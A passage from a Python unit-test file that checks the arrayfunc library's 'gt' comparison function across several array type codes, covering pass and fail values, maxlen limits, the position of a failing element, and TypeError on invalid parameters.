limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_numpos_b(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('b', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('b', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('b', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('b', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code b.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code b.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code b.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code b.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_b(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('b', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('b', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code b.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code b.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code b.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code b.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code b.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code b.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code b.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_b(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('b', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('b', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code b.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code b.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code b.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_B(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('B', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('B', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('B', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('B', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code B.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code B.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code B.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code B.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_B(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('B', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('B', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code B.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code B.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code B.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code B.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code B.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code B.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code B.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_B(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('B', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('B', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code B.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code B.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code B.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, nosimd='a')
##############################################################################
##############################################################################
class gt_numpos_h(unittest.TestCase):
"""Test with a single fail value in different array positions.
test_template_numpos
"""
########################################################
def setUp(self):
"""Initialise. The test data is generated from the script itself.
"""
self.testarraylen = 159
self.data1 = array.array('h', [6] * self.testarraylen)
self.testval1 = self.data1[0]
self.data1fail = array.array('h', list(self.data1))
self.data1fail[-1] = 5
self.data2 = array.array('h', [5] * self.testarraylen)
self.testval2 = self.data2[0]
self.data2fail = array.array('h', list(self.data2))
self.data2fail[-1] = 7
########################################################
def test_gt_numpos_array_num_a1(self):
"""Test gt as *array-num* for failing with different data positions in array - Array code h.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > self.testval2 for x in self.data1fail])
result = arrayfunc.gt(self.data1fail, self.testval2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_num_array_b1(self):
"""Test gt as *num-array* for failing with different data positions in array - Array code h.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([self.testval1 > x for x in self.data2fail])
result = arrayfunc.gt(self.testval1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
########################################################
def test_gt_numpos_array_array_c1(self):
"""Test gt as *array-array* for failing with different data positions in array 1 - Array code h.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1fail, self.data2)])
result = arrayfunc.gt(self.data1fail, self.data2)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data1.append(self.data1.pop(0))
########################################################
def test_gt_numpos_array_array_c2(self):
"""Test gt as *array-array* for failing with different data positions in array 2 - Array code h.
"""
for testpos in range(self.testarraylen):
with self.subTest(msg='Failed with posistion', testpos = testpos):
expected = all([x > y for x,y in zip(self.data1, self.data2fail)])
result = arrayfunc.gt(self.data1, self.data2fail)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
# Shift the data one position.
self.data2.append(self.data2.pop(0))
##############################################################################
##############################################################################
class gt_param_errors_h(unittest.TestCase):
"""Test for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.data1 = array.array('h', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.data2 = array.array('h', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
# Create some array equivalents which are different than the correct ones.
self.badarray1 = array.array('d', [6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0,6.0])
self.badarray2 = array.array('d', [5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0,5.0])
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for incompatible array - Array code h.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badarray1, testval)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for incompatible number - Array code h.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, testval)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, badval)
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for incompatible array - Array code h.
"""
for testval in self.data2:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(testval, badarray1)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for incompatible number - Array code h.
"""
for testval, badval in zip(self.data2, self.badarray2):
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(testval, data1)
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(badval, data1)
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for incompatible second array - Array code h.
"""
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This version is expected to pass.
result = arrayfunc.gt(data1, self.data2)
# Copy the array so we don't change the original data.
data1 = copy.copy(self.data1)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(data1, self.badarray2)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for incompatible first array - Array code h.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.data1, self.data2)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.badarray1, self.data2)
########################################################
def test_gt_no_params_f1(self):
"""Test gt with no parameters - Array code h.
"""
with self.assertRaises(TypeError):
result = arrayfunc.gt()
##############################################################################
##############################################################################
class gt_param_errors_opt_h(unittest.TestCase):
"""Test for invalid errors and maxlen parameters. The errors does not
exist with these functions.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inparray1a = array.array('h', [6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6])
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2a = array.array('h', [5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5])
self.inparray2b = copy.copy(self.inparray2a)
self.testmaxlen = len(self.inparray1a) // 2
########################################################
def test_gt_array_num_a1(self):
"""Test gt as *array-num* for matherrors=True - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, matherrors=True)
########################################################
def test_gt_array_num_a2(self):
"""Test gt as *array-num* for maxlen='a' - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, maxlen='a')
########################################################
def test_gt_array_num_a3(self):
"""Test gt as *array-num* for nosimd='a' - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, inpvalue, nosimd='a')
########################################################
def test_gt_num_array_c1(self):
"""Test gt as *num-array* for matherrors=True - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, matherrors=True)
########################################################
def test_gt_num_array_c2(self):
"""Test gt as *num-array* for maxlen='a' - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, maxlen='a')
########################################################
def test_gt_num_array_c3(self):
"""Test gt as *num-array* for nosimd='a' - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(inpvalue, self.inparray1a, nosimd='a')
########################################################
def test_gt_array_array_e1(self):
"""Test gt as *array-array* for matherrors=True - Array code h.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, matherrors=True)
########################################################
def test_gt_array_array_e2(self):
"""Test gt as *array-array* for maxlen='a' - Array code h.
"""
# This version is expected to pass.
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
result = arrayfunc.gt(self.inparray1a, self.inparray2a, maxlen='a')
########################################################
def test_gt_array_array_e3(self):
"""Test gt as *array-array* for nosimd='a' - Array code h.
"""
# This version is expected to pass.
